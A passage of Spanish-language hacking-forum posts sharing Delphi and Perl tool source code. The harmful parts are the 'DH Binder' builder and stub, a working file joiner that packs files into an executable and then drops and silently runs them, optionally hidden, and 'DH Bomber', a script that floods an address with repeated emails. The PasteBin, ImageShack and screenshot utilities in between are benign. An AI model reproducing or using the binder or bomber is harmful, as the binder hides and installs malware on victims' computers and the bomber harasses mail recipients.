
        with sListView1.Items.Add do
        begin
          Caption := ExtractFileName(OpenDialog1.FileName);
          if (op = 'Yes') then
          begin
            SubItems.Add(OpenDialog1.FileName);
            SubItems.Add('Hide');
          end
          else
          begin
            SubItems.Add(OpenDialog1.FileName);
            SubItems.Add('Normal');
          end;
        end;

      end;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);
    begin

      if OpenDialog2.Execute then
      begin
        Image2.Picture.LoadFromFile(OpenDialog2.FileName);
        sEdit1.Text := OpenDialog2.FileName;
      end;

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    var
      i: integer;
      nombre: string;
      ruta: string;
      tipo: string;
      savein: string;
      opcionocultar: string;
      lineafinal: string;
      uno: DWORD;
      tam: DWORD;
      dos: DWORD;
      tres: DWORD;
      todo: Pointer;
      change: DWORD;
      valor: string;
      stubgenerado: string;

    begin

      if (sListView1.Items.Count = 0) or (sListView1.Items.Count = 1) then
      begin
        ShowMessage('You have to choose two or more files');
      end
      else
      begin
        stubgenerado := 'done.exe';

        if (sCheckBox1.Checked = True) then
        begin
          opcionocultar := '1';
        end
        else
        begin
          opcionocultar := '0';
        end;

        if (sComboBox1.Items[sComboBox1.ItemIndex] = '') then
        begin
          savein := 'USERPROFILE';
        end
        else
        begin
          savein := sComboBox1.Items[sComboBox1.ItemIndex];
        end;

        DeleteFile(stubgenerado);
        CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' + 'Data/stub.exe')
            , PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado),
          True);

        uno := BeginUpdateResource
          (PChar(ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);

        for i := 0 to sListView1.Items.Count - 1 do
        begin

          nombre := sListView1.Items[i].Caption;
          ruta := sListView1.Items[i].SubItems[0];
          tipo := sListView1.Items[i].SubItems[1];

          lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
            '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
          lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode')
            + '[63686175]';

          dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
            OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
          tam := GetFileSize(dos, nil);
          GetMem(todo, tam);
          ReadFile(dos, todo^, tam, tres, nil);
          CloseHandle(dos);
          UpdateResource(uno, RT_RCDATA, PChar(lineafinal), MAKEWord(LANG_NEUTRAL,
              SUBLANG_NEUTRAL), todo, tam);

        end;

        EndUpdateResource(uno, False);

        if not(sEdit1.Text = '') then
        begin
          try
            begin
              change := BeginUpdateResourceW
                (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                      + '/' + stubgenerado)), False);
              LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
                PWideChar(wideString(sEdit1.Text)));
              EndUpdateResourceW(change, False);
              sStatusBar1.Panels[0].Text := '[+] Done ';
              Form1.sStatusBar1.Update;
            end;
          except
            begin
              sStatusBar1.Panels[0].Text := '[-] Error';
              Form1.sStatusBar1.Update;
            end;
          end;
        end
        else
        begin
          sStatusBar1.Panels[0].Text := '[+] Done ';
          Form1.sStatusBar1.Update;
        end;
      end;

    end;

    procedure TForm1.sButton3Click(Sender: TObject);
    begin
      Form2.Show;
    end;

    procedure TForm1.sButton4Click(Sender: TObject);
    begin
      Form1.Close();
    end;

    end.

    // The End ?


    El codigo del Stub

    Código (delphi) [Seleccionar]

    // DH Binder 0.3
    // (C) Doddy Hackman 2013
    // Credits :
    // Joiner Based in : "Ex Binder v0.1" by TM
    // Icon Changer based in : "IconChanger" By Chokstyle
    // Thanks to TM & Chokstyle

    // Stub

    program stub;

    uses
      Windows,
      SysUtils,
      ShellApi;

    // Functions

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    //

    // Start the game

    function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
    var
      data: DWORD;
      uno: DWORD;
      dos: DWORD;
      cinco2: string;
      nombre: string;
      tipodecarga: string;
      ruta: string;
      ocultar: string;

    begin

      Result := True;

      cinco2 := cinco;
      cinco2 := regex(cinco2, '[63686175]', '[63686175]');
      cinco2 := dhencode(cinco2, 'decode');
      cinco2 := LowerCase(cinco2);

      nombre := regex(cinco2, '[nombre]', '[nombre]');
      tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
      ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
      ocultar := regex(cinco2, '[hide]', '[hide]');

      data := FindResource(0, cinco, cuatro);

      uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
      WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
        dos, nil);

      CloseHandle(uno);

      if (ocultar = '1') then
      begin
        SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
      end;

      if (tipodecarga = 'normal') then
      begin
        ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
      end
      else
      begin
        ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
      end;

    end;

    begin

      EnumResourceNames(0, RT_RCDATA, @start, 0);

    end.

    // The End ?


    Si lo quieren bajar lo pueden hacer de aca.
#151
Un simple programa en delphi para subir y bajar codigos en pastebin.

Unas imagenes :







Los codigos :

Menu

Código (delphi) [Seleccionar]

// DH PasteBin Manager 0.2
// (C) Doddy Hackman 2013

unit paste;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdMultipartFormData, PerlRegEx, sSkinManager, ComCtrls, sStatusBar,
  sGroupBox, sMemo, sButton, sEdit, sLabel, sListBox, acPNG, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;

    procedure FormCreate(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

uses formdown, formup;
{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'matrix';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/downloads';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  Form3.Show;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  Form2.Show;
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Uploader

Código (delphi) [Seleccionar]

// DH PasteBin Manager 0.2
// (C) Doddy Hackman 2013

unit formup;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sEdit, sLabel, sGroupBox, acPNG, ExtCtrls,
  ComCtrls, sStatusBar, PerlRegEx, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdHTTP, IdMultipartFormData, sMemo;

type
  TForm3 = class(TForm)
    sGroupBox4: TsGroupBox;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sEdit3: TsEdit;
    sEdit4: TsEdit;
    sGroupBox5: TsGroupBox;
    sButton3: TsButton;
    sButton4: TsButton;
    sButton5: TsButton;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    OpenDialog1: TOpenDialog;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sMemo1: TsMemo;
    procedure sButton4Click(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}

procedure TForm3.sButton3Click(Sender: TObject);
var
  datos: TIdMultiPartFormDataStream;
  code: string;
  titulo: string;
  contenido: string;

  archivo: TextFile;
  texto: string;

begin

  titulo := ExtractFileName(sEdit3.Text);

  sMemo1.Lines.Clear;

  AssignFile(archivo, sEdit3.Text);
  Reset(archivo);

  while not Eof(archivo) do
  begin
    ReadLn(archivo, texto);
    sMemo1.Lines.Add(texto);
  end;

  CloseFile(archivo);

  contenido := sMemo1.Lines.Text;

  datos := TIdMultiPartFormDataStream.Create;

  datos.AddFormField('api_dev_key', 'fuck you');
  datos.AddFormField('api_option', 'paste');
  datos.AddFormField('api_paste_name', titulo);
  datos.AddFormField('api_paste_code', contenido);

  sStatusBar1.Panels[0].Text := '[+] Uploading ...';
  Form3.sStatusBar1.Update;

  code := IdHTTP1.Post('http://pastebin.com/api/api_post.php', datos);

  PerlRegEx1.Regex := 'pastebin';
  PerlRegEx1.Subject := code;

  if PerlRegEx1.Match then
  begin
    sStatusBar1.Panels[0].Text := '[+] Done';
    Form3.sStatusBar1.Update;
    sEdit4.Text := code;
  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[-] Error Uploading';
    Form3.sStatusBar1.Update;
  end;

end;

procedure TForm3.sButton4Click(Sender: TObject);
begin
  OpenDialog1.InitialDir := GetCurrentDir;

  if OpenDialog1.Execute then
  begin
    sEdit3.Text := OpenDialog1.FileName;
  end;

end;

procedure TForm3.sButton5Click(Sender: TObject);
begin
  sEdit4.SelectAll;
  sEdit4.CopyToClipboard;
end;

end.

// The End ?


El downloader.

Código (delphi) [Seleccionar]

// DH PasteBin Manager 0.2
// (C) Doddy Hackman 2013

unit formdown;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sListBox, sButton, sEdit, sLabel, sGroupBox, PerlRegEx,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, acPNG,
  ExtCtrls, ComCtrls, sStatusBar, sMemo, acProgressBar;

type
  TForm2 = class(TForm)
    sGroupBox1: TsGroupBox;
    sGroupBox2: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sButton1: TsButton;
    sGroupBox3: TsGroupBox;
    sListBox1: TsListBox;
    sButton2: TsButton;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    PerlRegEx2: TPerlRegEx;
    Image1: TImage;
    sStatusBar1: TsStatusBar;
    sProgressBar1: TsProgressBar;

    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

procedure TForm2.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCount: Int64);
begin
  sProgressBar1.Position := AWorkCount;
  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  Form2.sStatusBar1.Update;
end;

procedure TForm2.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  AWorkCountMax: Int64);
begin
  sProgressBar1.Max := AWorkCountMax;
  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  Form2.sStatusBar1.Update;
end;

procedure TForm2.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
begin
  sProgressBar1.Position := 0;
  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form2.sStatusBar1.Update;
end;

procedure TForm2.sButton1Click(Sender: TObject);
var
  url: string;
  url2: string;
  code: string;
  i: integer;
  viendo: string;
  chau: TStringList;

begin
  //

  chau := TStringList.Create;

  chau.Duplicates := dupIgnore;
  chau.Sorted := True;
  chau.Assign(sListBox1.Items);
  sListBox1.Items.Clear;
  sListBox1.Items.Assign(chau);

  url := sEdit1.Text;
  url2 := sEdit2.Text;

  if not(url = '') then
  begin
    PerlRegEx1.Regex := 'pastebin';
    PerlRegEx1.Subject := url;

    if PerlRegEx1.Match then
    begin
      sListBox1.Items.Add(url);
    end;
  end;

  if not(url2 = '') then
  begin

    code := IdHTTP1.Get(url2);

    PerlRegEx1.Regex := '(.)(http://.+?)\1';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin
      for i := 1 to PerlRegEx1.SubExpressionCount do
      begin
        viendo := PerlRegEx1.SubExpressions[i];

        PerlRegEx2.Regex := 'pastebin';
        PerlRegEx2.Subject := viendo;

        if PerlRegEx2.Match then
        begin
          sListBox1.Items.Add(viendo);
        end;
      end;
    end;

  end;

end;

procedure TForm2.sButton2Click(Sender: TObject);
var
  url: string;
  urlabajar: string;
  id: string;
  code: string;
  titulo: string;
  i: integer;
  archivobajado: TFileStream;
begin

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin

    //

    url := sListBox1.Items[i];

    PerlRegEx1.Regex := 'http:\/\/(.*)\/(.*)';
    PerlRegEx1.Subject := url;

    if PerlRegEx1.Match then
    begin

      urlabajar :=
        'http://pastebin.com/download.php?i=' + PerlRegEx1.SubExpressions[2];
      // sMemo1.Lines.Add(urlabajar);

      code := IdHTTP1.Get(url);

      PerlRegEx2.Regex := '<div class="paste_box_line1" title="(.*)">';
      PerlRegEx2.Subject := code;

      if PerlRegEx2.Match then
      begin
        titulo := PerlRegEx2.SubExpressions[1];
        // sMemo1.Lines.Add(titulo);

        // Baja esto carajo

        // sStatusBar1.Panels[0].Text := '[+] Downloading :' + urlabajar;
        // Form2.sStatusBar1.Update;

        archivobajado := TFileStream.Create(titulo + '.txt', fmCreate);

        try
          begin
            DeleteFile(titulo);
            IdHTTP1.Get(urlabajar, archivobajado);
            sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
            Form2.sStatusBar1.Update;
            archivobajado.Free;
          end;
        except
          sStatusBar1.Panels[0].Text := '[-] Failed download';
          Form2.sStatusBar1.Update;
          archivobajado.Free;
          Abort;
        end;


        //

      end;

    end;



    //

  end;

  sStatusBar1.Panels[0].Text := '[+] Done';
  Form2.sStatusBar1.Update;

end;

end.

// The End ?


Si quieren bajar el proyecto y el ejecutable lo pueden hacer de aca.
#152
Un simple programa para subir imagenes a ImageShack.

Una imagen :



El codigo :

Código (delphi) [Seleccionar]

// ImageShack Uploader 0.1
// Based in the API of ImageShack
// Coded By Doddy H

unit image;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdMultipartFormData, Buttons, sGroupBox, sSkinManager, sButton, sEdit,
  ComCtrls, sStatusBar, acPNG, ExtCtrls, PerlRegEx;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sEdit2: TsEdit;
    sStatusBar1: TsStatusBar;
    sGroupBox3: TsGroupBox;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    sButton5: TsButton;
    Image1: TImage;
    OpenDialog1: TOpenDialog;
    PerlRegEx1: TPerlRegEx;

    procedure FormCreate(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sButton5Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'cold';
  sSkinManager1.Active := True;

  OpenDialog1.InitialDir := GetCurrentDir;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if OpenDialog1.Execute then
  begin
    sEdit1.Text := OpenDialog1.FileName;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  datos: TIdMultiPartFormDataStream;
  code: string;
begin

  if FileExists(sEdit1.Text) then
  begin

    sStatusBar1.Panels[0].Text := '[+] Uploading ...';
    Form1.sStatusBar1.Update;

    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('key', 'fuck you');
    datos.AddFile('fileupload', sEdit1.Text, 'application/octet-stream');
    datos.AddFormField('format', 'json');

    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);

    PerlRegEx1.Regex := '"image_link":"(.*?)"';
    PerlRegEx1.Subject := code;

    if PerlRegEx1.Match then
    begin
      sEdit2.Text := PerlRegEx1.SubExpressions[1];
      sStatusBar1.Panels[0].Text := '[+] Done';
      Form1.sStatusBar1.Update;
    end
    else
    begin
      sStatusBar1.Panels[0].Text := '[-] Error uploading';
      Form1.sStatusBar1.Update;
    end;

  end
  else
  begin
    sStatusBar1.Panels[0].Text := '[+] File not Found';
    Form1.sStatusBar1.Update;
  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  sEdit2.SelectAll;
  sEdit2.CopyToClipboard;
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton5Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#153
Scripting / [Perl] DH ScreenShoter 0.1
4 Octubre 2013, 19:31 PM
Un simple script en perl para sacar un screenshot y subirlo a imageshack.

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#DH ScreenShoter 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Win32-GuiTest.ppd
#ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd

use Win32::GuiTest
  qw(GetAsyncKeyState GetForegroundWindow GetWindowText FindWindowLike SetForegroundWindow SendKeys);
use Win32::Clipboard;
use Time::HiRes "usleep";
use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

$|++;

my $time;
my $nombrefecha;

my ( $dia, $mes, $año, $hora, $minutos, $segundos ) = agarrate_la_hora();

$nombrefecha =
    $dia . "_"
  . $mes . "_"
  . $año . "_"
  . $hora . "_"
  . $minutos . "_"
  . $segundos;

my $se = "captures";

unless ( -d $se ) {
    mkdir( $se, "777" );
}

chdir $se;

head();

print "[+] Save Photo with this name : ";
chomp( my $filename = <stdin> );

print "\n[+] Get Photo in this time : ";
chomp( my $timeop = <stdin> );

print "\n[+] Open photo after taking it ? : ";
chomp( my $load_image = <stdin> );

print "\n[+] Upload image to ImageShack ? : ";
chomp( my $imageshack = <stdin> );

print "\n[+] Taking shot in ";

if ( $timeop eq "" ) {
    $time = 1;
}
else {
    $time = $timeop;
}

for my $num ( reverse 1 .. $time ) {
    print "$num.. ";
    sleep 1;
}

if ( $filename eq "" ) {

    capturar_pantalla( $nombrefecha . ".jpg" );

}
else {

    capturar_pantalla($filename);

}

print "\a\a\a";
print "\n\n[+] Photo Taken\n";

if ( $imageshack =~ /y/ ) {
    if ( $filename eq "" ) {
        subirarchivo( $nombrefecha . ".jpg" );
    }
    else {
        subirarchivo($filename);
    }
}

if ( $load_image =~ /y/ ) {
    if ( $filename eq "" ) {
        system( $nombrefecha. ".jpg" );
    }
    else {
        system($filename);
    }
}

copyright();

## Functions

sub subirarchivo {

    my $your_key = "fuck you";    #Your API Key

    print "\n[+] Uploading ...\n";

    my $code = $nave->post(
        "https://post.imageshack.us/upload_api.php",
        Content_Type => "form-data",
        Content      => [
            key        => $your_key,
            fileupload => [ $_[0] ],
            format     => "json"
        ]
    )->content;

    if ( $code =~ /"image_link":"(.*?)"/ ) {
        print "\n[+] Link : " . $1 . "\n";
    }
    else {
        print "\n[-] Error uploading the image\n";
    }
}

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#             DH ScreenShoter 0.1             #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2012 == --");

    print "\n\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub capturar_pantalla {

    SendKeys("%{PRTSCR}");

    my $a = Win32::Clipboard::GetBitmap();

    open( FOTO, ">" . $_[0] );
    binmode(FOTO);
    print FOTO $a;
    close FOTO;

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

sub agarrate_la_hora {

    my ( $a, $b, $c, $d, $e, $f, $g, $h, $i ) = localtime(time);

    $f += 1900;
    $e++;

    return (
        $d, $e, $f, $c, $b, $a

    );

}

## The End ?
#154
Scripting / [Perl Tk] DH Bomber 0.2
27 Septiembre 2013, 17:50 PM
Un simple script para mandar mensajes de correo a donde quieran , para usarlo necesitan una cuenta en gmail , lo nuevo de esta version es que use otro modulo que hace que el script no tenga tantas dependencias como en la ultima version.

El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#DH Bomber 0.2
#Coded By Doddy H

use Win32::OLE;

head();

print "\n[+] Host : ";
chomp( my $host = <stdin> );

print "\n[+] Port : ";
chomp( my $puerto = <stdin> );

print "\n[+] Username : ";
chomp( my $username = <stdin> );

print "\n[+] Password : ";
chomp( my $password = <stdin> );

print "\n[+] Count Message : ";
chomp( my $count = <stdin> );

print "\n[+] To : ";
chomp( my $to = <stdin> );

print "\n[+] Subject : ";
chomp( my $asunto = <stdin> );

print "\n[+] Body : ";
chomp( my $body = <stdin> );

print "\n[+] File to Send : ";
chomp( my $file = <stdin> );

print "\n[+] Starting ...\n\n";

for my $num ( 1 .. $count ) {
    print "[+] Sending Message : $num\n";
    sendmail(
        $host,     $puerto, $username, $password, $username, $username,
        $username, $to,     $asunto,   $body,     $file
    );
}

print "\n[+] Finished\n";

copyright();

sub head {
    print "\n\n-- == DH Bomber 0.2 == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2013\n\n";
    exit(1);
}

sub sendmail {

## Function Based on : http://code.activestate.com/lists/pdk/5351/
## Credits : Thanks to Phillip Richcreek and Eric Promislow

    my (
        $host, $port, $username, $password, $from, $cc,
        $bcc,  $to,   $asunto,   $mensaje,  $file
    ) = @_;

    $correo = Win32::OLE->new('CDO.Message');

    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusername',
        $username );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendpassword',
        $password );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
        $port );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
    $correo->Configuration->Fields->Update();

    if ( -f $file ) {
        $correo->AddAttachment($file);
    }

    $correo->{From}     = $from;
    $correo->{CC}       = $cc;
    $correo->{BCC}      = $bcc;
    $correo->{To}       = $to;
    $correo->{Subject}  = $asunto;
    $correo->{TextBody} = $mensaje;
    $correo->Send();

}

# The End ?


Y aca les dejo la version Tk.

Una imagen :



El codigo :

Código (perl) [Seleccionar]

#!usr/bin/perl
#DH Bomber 0.2
#Coded By Doddy H

use Tk;
use Tk::ROText;
use Tk::FileSelect;
use Cwd;
use Win32::OLE;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "white";

my $ve =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ve->geometry("920x560+20+20");
$ve->resizable( 0, 0 );
$ve->title("DH Bomber 0.2 (C) Doddy Hackman 2013");

$d = $ve->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $ma = $d->Menubutton(
    -text             => "Mails",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $op = $d->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $ab = $d->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $ex = $d->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$d->pack( -side => "top", -fill => "x" );

$ma->command(
    -label      => "Add Mailist",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addmailist
);
$ma->command(
    -label      => "Add Mail",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addmail
);
$ma->command(
    -label      => "Clean List",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&delist
);

$op->command(
    -label      => "Spam Now",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&spamnow
);
$op->command(
    -label      => "Add Attachment",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addfile
);
$op->command(
    -label      => "Clean All",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&clean
);

$ab->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&about
);
$ex->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&chali
);

$ve->Label(
    -text       => "Gmail Login",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 100, -y => 40 );

$ve->Label(
    -text       => "Username : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 80 );
my $user = $ve->Entry(
    -width      => 30,
    -text       => 'lagartojuancho@gmail.com',
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 83, -x => 85 );

$ve->Label(
    -text       => "Password : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 120 );
my $pass = $ve->Entry(
    -show       => "*",
    -width      => 30,
    -text       => 'Secret',
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 123, -x => 85 );

$ve->Label(
    -text       => "Message",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 160 );

$ve->Label(
    -text       => "Number : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 210 );
my $number = $ve->Entry(
    -width      => 5,
    -text       => "1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 75, -y => 212 );

$ve->Label(
    -text       => "Attachment : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 240 );
my $fi = $ve->Entry(
    -text       => 'None',
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 90, -y => 242 );

$ve->Label(
    -text       => "Subject : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 270 );
my $tema = $ve->Entry(
